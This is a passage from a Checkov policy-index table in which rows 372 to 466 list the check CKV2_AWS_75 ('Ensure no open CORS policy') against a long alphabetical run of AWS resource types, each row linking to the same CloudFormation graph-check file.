[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  372 | CKV2_AWS_75 | resource | aws_chime_voice_connector                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  373 | CKV2_AWS_75 | resource | aws_chime_voice_connector_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  374 | CKV2_AWS_75 | resource | aws_chime_voice_connector_logging                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  375 | CKV2_AWS_75 | resource | aws_chime_voice_connector_origination                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  376 | CKV2_AWS_75 | resource | aws_chime_voice_connector_streaming                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  377 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  378 | CKV2_AWS_75 | resource | aws_chime_voice_connector_termination_credentials                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  379 | CKV2_AWS_75 | resource | aws_chimesdkmediapipelines_media_insights_pipeline_configuration | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  380 | CKV2_AWS_75 | resource | aws_chimesdkvoice_global_settings                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  381 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_media_application                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  382 | CKV2_AWS_75 | resource | aws_chimesdkvoice_sip_rule                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  383 | CKV2_AWS_75 | resource | aws_chimesdkvoice_voice_profile_domain                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  384 | CKV2_AWS_75 | resource | aws_cleanrooms_collaboration                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  385 | CKV2_AWS_75 | resource | aws_cleanrooms_configured_table                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  386 | CKV2_AWS_75 | resource | aws_cleanrooms_membership                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  387 | CKV2_AWS_75 | resource | aws_cloud9_environment_ec2                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  388 | CKV2_AWS_75 | resource | aws_cloud9_environment_membership                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  389 | CKV2_AWS_75 | resource | aws_cloudcontrolapi_resource                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  390 | CKV2_AWS_75 | resource | aws_cloudformation_stack                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  391 | CKV2_AWS_75 | resource | aws_cloudformation_stack_instances                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  392 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  393 | CKV2_AWS_75 | resource | aws_cloudformation_stack_set_instance                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  394 | CKV2_AWS_75 | resource | aws_cloudformation_type                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  395 | CKV2_AWS_75 | resource | aws_cloudfront_cache_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  396 | CKV2_AWS_75 | resource | aws_cloudfront_continuous_deployment_policy                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  397 | CKV2_AWS_75 | resource | aws_cloudfront_distribution                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  398 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_config                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  399 | CKV2_AWS_75 | resource | aws_cloudfront_field_level_encryption_profile                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  400 | CKV2_AWS_75 | resource | aws_cloudfront_function                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  401 | CKV2_AWS_75 | resource | aws_cloudfront_key_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  402 | CKV2_AWS_75 | resource | aws_cloudfront_key_value_store                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  403 | CKV2_AWS_75 | resource | aws_cloudfront_monitoring_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  404 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_control                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  405 | CKV2_AWS_75 | resource | aws_cloudfront_origin_access_identity                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  406 | CKV2_AWS_75 | resource | aws_cloudfront_origin_request_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  407 | CKV2_AWS_75 | resource | aws_cloudfront_public_key                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  408 | CKV2_AWS_75 | resource | aws_cloudfront_realtime_log_config                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  409 | CKV2_AWS_75 | resource | aws_cloudfront_response_headers_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  410 | CKV2_AWS_75 | resource | aws_cloudfront_vpc_origin                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  411 | CKV2_AWS_75 | resource | aws_cloudfrontkeyvaluestore_key                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  412 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_cluster                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  413 | CKV2_AWS_75 | resource | aws_cloudhsm_v2_hsm                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  414 | CKV2_AWS_75 | resource | aws_cloudsearch_domain                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  415 | CKV2_AWS_75 | resource | aws_cloudsearch_domain_service_access_policy                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  416 | CKV2_AWS_75 | resource | aws_cloudtrail                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  417 | CKV2_AWS_75 | resource | aws_cloudtrail_event_data_store                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  418 | CKV2_AWS_75 | resource | aws_cloudtrail_organization_delegated_admin_account              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  419 | CKV2_AWS_75 | resource | aws_cloudwatch_composite_alarm                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  420 | CKV2_AWS_75 | resource | aws_cloudwatch_dashboard                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  421 | CKV2_AWS_75 | resource | aws_cloudwatch_event_api_destination                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  422 | CKV2_AWS_75 | resource | aws_cloudwatch_event_archive                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  423 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  424 | CKV2_AWS_75 | resource | aws_cloudwatch_event_bus_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  425 | CKV2_AWS_75 | resource | aws_cloudwatch_event_connection                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  426 | CKV2_AWS_75 | resource | aws_cloudwatch_event_endpoint                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  427 | CKV2_AWS_75 | resource | aws_cloudwatch_event_permission                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  428 | CKV2_AWS_75 | resource | aws_cloudwatch_event_rule                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  429 | CKV2_AWS_75 | resource | aws_cloudwatch_event_target                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  430 | CKV2_AWS_75 | resource | aws_cloudwatch_log_account_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  431 | CKV2_AWS_75 | resource | aws_cloudwatch_log_anomaly_detector                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  432 | CKV2_AWS_75 | resource | aws_cloudwatch_log_data_protection_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  433 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  434 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  435 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_destination_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  436 | CKV2_AWS_75 | resource | aws_cloudwatch_log_delivery_source                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  437 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  438 | CKV2_AWS_75 | resource | aws_cloudwatch_log_destination_policy                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  439 | CKV2_AWS_75 | resource | aws_cloudwatch_log_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  440 | CKV2_AWS_75 | resource | aws_cloudwatch_log_index_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  441 | CKV2_AWS_75 | resource | aws_cloudwatch_log_metric_filter                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  442 | CKV2_AWS_75 | resource | aws_cloudwatch_log_resource_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  443 | CKV2_AWS_75 | resource | aws_cloudwatch_log_stream                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  444 | CKV2_AWS_75 | resource | aws_cloudwatch_log_subscription_filter                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  445 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_alarm                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  446 | CKV2_AWS_75 | resource | aws_cloudwatch_metric_stream                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  447 | CKV2_AWS_75 | resource | aws_cloudwatch_query_definition                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  448 | CKV2_AWS_75 | resource | aws_codeartifact_domain                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  449 | CKV2_AWS_75 | resource | aws_codeartifact_domain_permissions_policy                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  450 | CKV2_AWS_75 | resource | aws_codeartifact_repository                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  451 | CKV2_AWS_75 | resource | aws_codeartifact_repository_permissions_policy                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  452 | CKV2_AWS_75 | resource | aws_codebuild_fleet                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  453 | CKV2_AWS_75 | resource | aws_codebuild_project                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  454 | CKV2_AWS_75 | resource | aws_codebuild_report_group                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  455 | CKV2_AWS_75 | resource | aws_codebuild_resource_policy                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  456 | CKV2_AWS_75 | resource | aws_codebuild_source_credential                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  457 | CKV2_AWS_75 | resource | aws_codebuild_webhook                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  458 | CKV2_AWS_75 | resource | aws_codecatalyst_dev_environment                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  459 | CKV2_AWS_75 | resource | aws_codecatalyst_project                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  460 | CKV2_AWS_75 | resource | aws_codecatalyst_source_repository                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  461 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  462 | CKV2_AWS_75 | resource | aws_codecommit_approval_rule_template_association                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  463 | CKV2_AWS_75 | resource | aws_codecommit_repository                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  464 | CKV2_AWS_75 | resource | aws_codecommit_trigger                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  465 | CKV2_AWS_75 | resource | aws_codeconnections_connection                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  466 | CKV2_AWS_75 | resource | aws_codeconnections_host                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 